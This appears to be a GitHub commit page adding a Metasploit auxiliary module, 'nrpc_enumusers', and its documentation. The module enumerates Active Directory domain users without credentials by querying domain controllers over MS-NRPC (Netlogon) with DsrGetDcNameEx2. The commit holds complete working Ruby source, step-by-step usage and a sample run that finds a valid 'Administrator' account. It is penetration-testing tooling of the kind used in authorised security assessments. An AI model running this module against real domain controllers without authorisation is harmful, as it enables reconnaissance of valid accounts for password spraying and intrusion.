Skip to content

Commit a5afdd6

Browse files
committed
Land rapid7#19205, Add MS-NRPC users enumeration module
2 parents be11394 + 858a2f8 commit a5afdd6

File tree

2 files changed

+213
-0
lines changed

2 files changed

+213
-0
lines changed
Lines changed: 79 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,79 @@
1+
## Vulnerable Application
2+
3+
A new method for gathering domain users. The method leverages auth-level = 1 (No authentication) against the
4+
MS-NRPC (Netlogon) interface on domain controllers. All that's required is the domain controller's IP address,
5+
and the entire process can be completed without providing any credentials.
6+
7+
## Verification Steps
8+
9+
1. Do: `use auxiliary/gather/nrpc_enumusers`
10+
2. Do: `set RHOSTS <targer IP addresses>`
11+
3. Do: `set USER_FILE <path to your users list>`
12+
4. Do: `run`
13+
14+
15+
## Target
16+
17+
To use nrpc_enumusers, make sure you are able to connect to the Domain Controller.
18+
It has been tested with Windows servers 2012, 2016, 2019 and 2022
19+
20+
## Options
21+
22+
### USER_FILE
23+
24+
**Description:** Path to the file containing the list of usernames to enumerate. Each username should be on a separate line.
25+
26+
**Usage:** Provide the path to the file that contains the list of user accounts you want to test.
27+
28+
**Example:** `set USER_FILE /path/to/usernames.txt`
29+
30+
2- `RHOSTS` (required)
31+
32+
**Description:** The target IP address or range of IP addresses of the Domain Controllers.
33+
34+
**Usage:** Specify the IP address or addresses of the Domain Controllers you are targeting.
35+
36+
**Example:** `set RHOSTS 192.168.1.100`
37+
38+
3- `RPORT` (optional)
39+
40+
**Description:** The port for the MS-NRPC interface. If not specified, the module will attempt to determine the endpoint.
41+
42+
**Usage:** If you know the port used by the MS-NRPC interface, you can specify it. Otherwise, the module will find it automatically.
43+
44+
**Example:** `set RPORT 49664`
45+
46+
## Scenarios
47+
48+
The following demonstrates basic usage, using a custom wordlist,
49+
targeting a single Domain Controller to identify valid domain user accounts.
50+
51+
Create a new `./users.txt` file, then run the module:
52+
53+
```
54+
msf6 auxiliary(gather/nrpc_enumusers) > set RHOSTS 192.168.177.177
55+
RHOSTS => 192.168.177.177
56+
msf6 auxiliary(gather/nrpc_enumusers) > set USER_FILE users.txt
57+
USER_FILE => users.txt
58+
msf6 auxiliary(gather/nrpc_enumusers) > run
59+
60+
[*] 192.168.177.177: - Connecting to the endpoint mapper service...
61+
[*] 192.168.177.177: - Binding to 12345678-1234-abcd-ef00-01234567cffb:1.0@ncacn_ip_tcp:192.168.177.177[49664]...
62+
[-] 192.168.177.177: - Tiffany.Molina does not exist
63+
[-] 192.168.177.177: - SMITH does not exist
64+
[-] 192.168.177.177: - JOHNSON does not exist
65+
[-] 192.168.177.177: - WILLIAMS does not exist
66+
[-] 192.168.177.177: - Administratorsvc_ldap does not exist
67+
[-] 192.168.177.177: - svc_ldap does not exist
68+
[-] 192.168.177.177: - ksimpson does not exist
69+
[+] 192.168.177.177: - Administrator exists
70+
[-] 192.168.177.177: - James does not exist
71+
[-] 192.168.177.177: - nikk37 does not exist
72+
[-] 192.168.177.177: - svc-printer does not exist
73+
[-] 192.168.177.177: - SABatchJobs does not exist
74+
[-] 192.168.177.177: - e.black does not exist
75+
[-] 192.168.177.177: - Kaorz does not exist
76+
[*] 192.168.177.177: - Scanned 1 of 1 hosts (100% complete)
77+
[*] Auxiliary module execution completed
78+
msf6 auxiliary(gather/nrpc_enumusers) >
79+
```
Lines changed: 134 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,134 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include Msf::Auxiliary::Report
8+
include Msf::Auxiliary::Scanner
9+
include Msf::Exploit::Remote::DCERPC
10+
Netlogon = RubySMB::Dcerpc::Netlogon
11+
@dport = nil
12+
13+
def initialize(info = {})
14+
super(
15+
update_info(
16+
info,
17+
'Name' => 'MS-NRPC Domain Users Enumeration',
18+
'Description' => %q{
19+
This module will enumerate valid Domain Users via no authentication against MS-NRPC interface.
20+
It calls DsrGetDcNameEx2 to check if the domain user account exists or not. It has been tested with
21+
Windows servers 2012, 2016, 2019 and 2022.
22+
},
23+
'Author' => [
24+
'Haidar Kabibo <https://x.com/haider_kabibo>'
25+
],
26+
'References' => [
27+
['URL', 'https://github.com/klsecservices/Publications/blob/master/A_journey_into_forgotten_Null_Session_and_MS-RPC_interfaces.pdf']
28+
],
29+
'License' => MSF_LICENSE,
30+
'Notes' => {
31+
'Stability' => [CRASH_SAFE],
32+
'Reliability' => [],
33+
'SideEffects' => []
34+
}
35+
)
36+
)
37+
register_options(
38+
[
39+
OptPort.new('RPORT', [false, 'The netlogon RPC port']),
40+
OptPath.new('USER_FILE', [true, 'Path to the file containing the list of usernames to enumerate']),
41+
OptBool.new('DB_ALL_USERS', [ false, 'Add all enumerated usernames to the database', false ])
42+
]
43+
)
44+
end
45+
46+
def bind_to_netlogon_service
47+
@dport = datastore['RPORT']
48+
if @dport.nil? || @dport == 0
49+
@dport = dcerpc_endpoint_find_tcp(datastore['RHOST'], Netlogon::UUID, '1.0', 'ncacn_ip_tcp')
50+
fail_with(Failure::NotFound, 'Could not determine the RPC port used by the Microsoft Netlogon Server') unless @dport
51+
end
52+
handle = dcerpc_handle(Netlogon::UUID, '1.0', 'ncacn_ip_tcp', [@dport])
53+
print_status("Binding to #{handle}...")
54+
dcerpc_bind(handle)
55+
end
56+
57+
def dsr_get_dc_name_ex2(username)
58+
request = Netlogon.const_get('DsrGetDcNameEx2Request').new(
59+
computer_name: nil,
60+
account_name: username,
61+
allowable_account_control_bits: 0x200,
62+
domain_name: nil,
63+
domain_guid: nil,
64+
site_name: nil,
65+
flags: 0x00000000
66+
)
67+
begin
68+
raw_response = dcerpc.call(request.opnum, request.to_binary_s)
69+
rescue Rex::Proto::DCERPC::Exceptions::Fault
70+
fail_with(Failure::UnexpectedReply, "The Netlogon RPC request failed for username: #{username}")
71+
end
72+
Netlogon.const_get('DsrGetDcNameEx2Response').read(raw_response)
73+
end
74+
75+
def report_username(domain, username)
76+
service_data = {
77+
address: datastore['RHOST'],
78+
port: @dport,
79+
service_name: 'netlogon',
80+
protocol: 'tcp',
81+
workspace_id: myworkspace_id
82+
}
83+
84+
credential_data = {
85+
origin_type: :service,
86+
module_fullname: fullname,
87+
username: username,
88+
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
89+
realm_value: domain
90+
}.merge(service_data)
91+
92+
login_data = {
93+
core: create_credential(credential_data),
94+
status: Metasploit::Model::Login::Status::UNTRIED
95+
}.merge(service_data)
96+
97+
create_credential_login(login_data)
98+
end
99+
100+
def run_host(_ip)
101+
usernames = load_usernames(datastore['USER_FILE'])
102+
bind_to_netlogon_service
103+
104+
usernames.each do |username|
105+
enumerate_user(username)
106+
end
107+
end
108+
109+
private
110+
111+
def load_usernames(file_path)
112+
unless ::File.exist?(file_path)
113+
fail_with(Failure::BadConfig, 'The specified USER_FILE does not exist')
114+
end
115+
116+
usernames = []
117+
::File.foreach(file_path) do |line|
118+
usernames << line.strip
119+
end
120+
usernames
121+
end
122+
123+
def enumerate_user(username)
124+
response = dsr_get_dc_name_ex2(username)
125+
if response.error_status == 0
126+
print_good("#{username} exists -> DC: #{response.domain_controller_info.domain_controller_name.encode('UTF-8')}")
127+
if datastore['DB_ALL_USERS']
128+
report_username(response.domain_controller_info.domain_name.encode('UTF-8'), username)
129+
end
130+
else
131+
print_error("#{username} does not exist")
132+
end
133+
end
134+
end

0 commit comments

Comments
 (0)